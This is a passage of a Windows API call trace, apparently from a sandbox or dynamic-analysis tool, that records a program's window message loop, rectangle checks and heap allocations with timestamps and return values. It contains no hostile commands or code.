[0201.688] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0201.688] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.688] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0201.688] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0201.688] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.688] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0201.688] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0201.689] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.689] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0201.689] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0201.689] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0201.689] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0201.690] PtInRect (lprc=0x1cde84, pt=0x140e6) returned 1
[0201.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0201.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0201.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0201.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0201.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.690] SetTimer (hWnd=0x10136, nIDEvent=0x2006, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2006
[0201.690] PtInRect (lprc=0x1cf24c, pt=0x140e6) returned 1
[0201.690] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0201.690] GetCursor () returned 0x10003
[0201.691] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0201.691] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0201.691] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0201.691] GetMessageTime () returned 125144
[0201.691] GetMessagePos () returned 0x2e9037b
[0201.691] GetCapture () returned 0x0
[0201.691] GetCurrentThreadId () returned 0x4e0
[0201.691] GetCurrentThreadId () returned 0x4e0
[0201.691] GetCurrentThreadId () returned 0x4e0
[0201.691] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0201.691] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.691] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0201.691] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0201.691] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.691] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0201.691] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0201.691] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0201.691] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.692] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0201.692] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0201.692] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.692] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0201.692] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0201.692] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0201.692] PtInRect (lprc=0x1cdf0c, pt=0x140e6) returned 1
[0201.692] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0201.692] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0201.692] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0201.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0201.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.693] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0201.693] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0201.693] GetCurrentThreadId () returned 0x4e0
[0201.693] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x2990341, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0201.693] NtdllDefWindowProc_W () returned 0x0
[0201.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0201.693] GetMessageTime () returned 125144
[0201.693] GetMessagePos () returned 0x2e9037b
[0201.693] GetCapture () returned 0x0
[0201.693] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0201.693] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0201.694] GetCurrentThreadId () returned 0x4e0
[0201.694] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0201.694] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0201.694] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0201.694] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0201.694] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0201.694] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0201.694] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0201.694] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0201.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0201.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0201.695] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x2990341, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0201.695] NtdllDefWindowProc_W () returned 0x0
[0201.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0201.695] GetCurrentThreadId () returned 0x4e0
[0201.695] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0201.695] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0201.695] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0201.695] GetCurrentThreadId () returned 0x4e0
[0201.695] GetCurrentThreadId () returned 0x4e0
[0201.695] GetCurrentThreadId () returned 0x4e0
[0201.695] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0201.998] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0201.998] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0201.998] GetCapture () returned 0x0
[0201.998] WindowFromPoint (Point=0x37b) returned 0x1013a
[0201.998] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0201.998] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0201.998] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0201.998] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0201.998] GetCurrentThreadId () returned 0x4e0
[0201.998] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0202.310] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0202.310] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0202.310] GetCapture () returned 0x0
[0202.310] WindowFromPoint (Point=0x37b) returned 0x1013a
[0202.310] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0202.310] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0202.310] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0202.310] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0202.310] GetCurrentThreadId () returned 0x4e0
[0202.310] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0202.623] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0202.623] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0202.623] GetCapture () returned 0x0
[0202.624] WindowFromPoint (Point=0x37b) returned 0x1013a
[0202.624] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0202.624] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0202.624] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0202.624] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0202.624] GetCurrentThreadId () returned 0x4e0
[0202.624] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0202.934] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0202.934] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0202.934] GetCapture () returned 0x0
[0202.934] WindowFromPoint (Point=0x37b) returned 0x1013a
[0202.934] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0202.934] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0202.934] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0202.934] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0202.934] GetCurrentThreadId () returned 0x4e0
[0202.934] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0203.246] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0203.246] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0203.246] GetCapture () returned 0x0
[0203.246] WindowFromPoint (Point=0x37b) returned 0x1013a
[0203.246] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0203.246] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0203.246] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0203.246] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0203.246] GetCurrentThreadId () returned 0x4e0
[0203.246] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0203.558] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0203.558] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0203.558] GetCapture () returned 0x0
[0203.558] WindowFromPoint (Point=0x37b) returned 0x1013a
[0203.558] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0203.558] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0203.558] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0203.558] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0203.558] GetCurrentThreadId () returned 0x4e0
[0203.558] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0203.870] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0203.870] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0203.870] GetCapture () returned 0x0
[0203.870] WindowFromPoint (Point=0x37b) returned 0x1013a
[0203.870] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0203.870] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0203.870] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0203.870] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0203.870] GetCurrentThreadId () returned 0x4e0
[0203.870] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0204.182] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0204.182] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0204.182] GetCapture () returned 0x0
[0204.182] WindowFromPoint (Point=0x37b) returned 0x1013a
[0204.182] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0204.182] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0204.182] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0204.182] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0204.182] GetCurrentThreadId () returned 0x4e0
[0204.182] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0204.494] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0204.494] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0204.494] GetCapture () returned 0x0
[0204.494] WindowFromPoint (Point=0x37b) returned 0x1013a
[0204.494] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0204.494] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0204.494] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0204.494] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0204.494] GetCurrentThreadId () returned 0x4e0
[0204.494] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0204.806] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0204.806] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0204.806] GetCapture () returned 0x0
[0204.806] WindowFromPoint (Point=0x37b) returned 0x1013a
[0204.806] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0204.806] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0204.806] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0204.806] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0204.806] GetCurrentThreadId () returned 0x4e0
[0204.806] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0205.118] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0205.118] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0205.118] GetCapture () returned 0x0
[0205.118] WindowFromPoint (Point=0x37b) returned 0x1013a
[0205.118] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0205.118] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0205.118] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0205.118] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0205.118] GetCurrentThreadId () returned 0x4e0
[0205.118] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0205.430] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0205.430] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0205.430] GetCapture () returned 0x0
[0205.430] WindowFromPoint (Point=0x37b) returned 0x1013a
[0205.430] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0205.430] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0205.430] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0205.430] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0205.430] GetCurrentThreadId () returned 0x4e0
[0205.430] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0205.742] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0205.742] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0205.742] GetCapture () returned 0x0
[0205.742] WindowFromPoint (Point=0x37b) returned 0x1013a
[0205.742] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0205.742] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0205.742] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0205.742] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0205.742] GetCurrentThreadId () returned 0x4e0
[0205.742] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0206.054] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0206.054] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0206.054] GetCapture () returned 0x0
[0206.054] WindowFromPoint (Point=0x37b) returned 0x1013a
[0206.054] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0206.054] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0206.054] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0206.054] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0206.054] GetCurrentThreadId () returned 0x4e0
[0206.054] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0206.366] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0206.366] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0206.366] GetCapture () returned 0x0
[0206.366] WindowFromPoint (Point=0x37b) returned 0x1013a
[0206.366] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0206.366] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0206.366] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0206.366] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0206.366] GetCurrentThreadId () returned 0x4e0
[0206.366] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0206.678] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0206.678] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0206.678] GetCapture () returned 0x0
[0206.678] WindowFromPoint (Point=0x37b) returned 0x1013a
[0206.678] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0206.678] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0206.678] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0206.678] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0206.678] GetCurrentThreadId () returned 0x4e0
[0206.678] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0206.990] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0206.990] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0206.990] GetCapture () returned 0x0
[0206.990] WindowFromPoint (Point=0x37b) returned 0x1013a
[0206.990] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0206.990] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0206.990] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0206.990] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0206.990] GetCurrentThreadId () returned 0x4e0
